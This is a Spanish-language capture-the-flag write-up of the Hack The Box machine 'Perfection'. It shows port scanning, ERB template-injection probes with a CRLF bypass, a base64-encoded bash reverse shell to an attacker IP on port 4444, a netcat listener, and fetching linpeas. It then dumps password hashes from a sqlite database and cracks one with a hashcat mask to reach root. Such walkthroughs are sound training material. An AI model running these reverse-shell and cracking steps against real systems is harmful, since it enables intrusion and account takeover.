Perfection es una máquina de dificultad fácil en la plataforma de HTB. Para poder ganar acceso deberemos realizar un CRLF Injection + SSTI en una calculadora de notas. Para realizar la escalada de privilegios crackearemos la contraseña debido a un archivo con información de la misma.

Enumeración

Escaneo de puertos

Realizamos un escaneo sobre todos los posibles puertos abiertos de la máquina víctima.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.253 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org )
Scanning 10.10.11.253 [65535 ports]
Discovered open port 22/tcp on 10.10.11.253
Discovered open port 80/tcp on 10.10.11.253
Completed SYN Stealth Scan at 13.92s elapsed (65535 total ports)
Nmap scan report for 10.10.11.253
Host is up, received user-set (0.067s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds
Raw packets sent: 71076 (3.127MB) | Rcvd: 71076 (2.843MB)

Podemos ver 2 puertos abiertos:

  • 22 (SSH)
  • 80 (HTTP)

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Análisis de Servicios

Realizamos un escaneo de las servicios y versiones de los puertos activos.

Nmap scan report for 10.10.11.253
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Utilizamos whatweb para obtener más información de la web.

Enumeración de Servicios

Esta sería la página principal de la web.

Encontramos una calculadora para calcular las notas, debemos poner un nombre, una nota y un porcentaje. A parte de esto, no encuentro nada interesante así que nos enfocamos en esto.

Identificación de Vulnerabilidades

Iniciamos el BurpSuite para saber que se está tramitando e incluso interactuar con lo que se tramita.

Cuando hemos realizado el comando Whatweb hemos podido ver que la web utiliza Ruby así que podemos provar a realizar algún SSTI. Realizamos pruebas con los siguientes payloads:

  • {7*7}} = {{7*7}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error

Sín éxito en este caso ya que detecta una entrada maliciosa y nos la bloquea.

Aquí lo que podemos intentar es realizar un CRLF Injection.

Resulta funcionar a la perfección ya que nos muestra el resultado de la multiplicación 7 * 7.

Intrusión

A partir de aquí podemos intentar ejecutar comandos.

Intentamos leer el fichero passwd del sistema vulnerable.

Si todo es correcto nos debería mostrar el archivo sín ningun problema.

Ahora intentaremos entablarnos una reverse shell.

Creamos la reverse shell, la codificamos en base64 y la copiamos a nuestra clipboard.

❯ ncat rev.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.X.X/4444 0>&1"
❯ cat rev.sh| base64 | xclip -sel clip

Copiamos la reverse shell y ejecutamos el siguiente payload, no sin antes ponernos en escucha mediante netcat por el puerto indicado.

Recibimos por el puerto indicado la reverse shell y leemos la flag del usuario.

❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.X.X 33574
bash: cannot set terminal process group (991): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$
susan@perfection:~$ cd ..
susan@perfection:~$ cat user.txt
4e****************************19

Encontramos un archivo SQL con varias credenciales pero ninguna crackeable.

susan@perfection:~/Migration$ ls
pupilpath_credentials.db
susan@perfection:~/Migration$ sqlite3 pupilpath_credentials.db 
SQLite version 3.37.2
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite> 

Escalada de privilegios

Nos tramos el linpeas a la maquina víctima y lo ejecutamos.

susan@perfection:~$ wget http://10.10.16.39/linpeas.sh
--2024-03-19 23:18:36--  http://10.10.16.39/linpeas.sh
Connecting to 10.10.16.39:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828058 (809K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 808.65K   210KB/s    in 4.1s    

2024-X-X X:X:X (198 KB/s) - ‘linpeas.sh’ saved [828058/828058]

susan@perfection:~$ chmod +x linpeas.sh 
susan@perfection:~$ ./linpeas.sh

Lo único interesante que encontramos es que podemos leer el archivo susan.

En el archivo básicamente encontramos las especificaciones de la creación de la contraseña del usuario susan. Nos resultará realmente interesante ya que el usuario susan está dentro del grupo sudo.

susan@perfection:~$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Ejecutamos el siguiente comando mediante hashcat

❯ hashcat -m 1400 hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

Obtenemos las credenciales del usuario susan.

HTB

Utilizamos sudo su para convertirnos en root gracias a las credenciales obtenidas y por último leemos las flag del usuario root.

susan@perfection:~$ sudo su
root@perfection:/home/susan#
root@perfection:/home/susan# cat /root/root.txt 
5a****************************76
root@perfection:/home/susan# 

Leave a Reply

Your email address will not be published. Required fields are marked *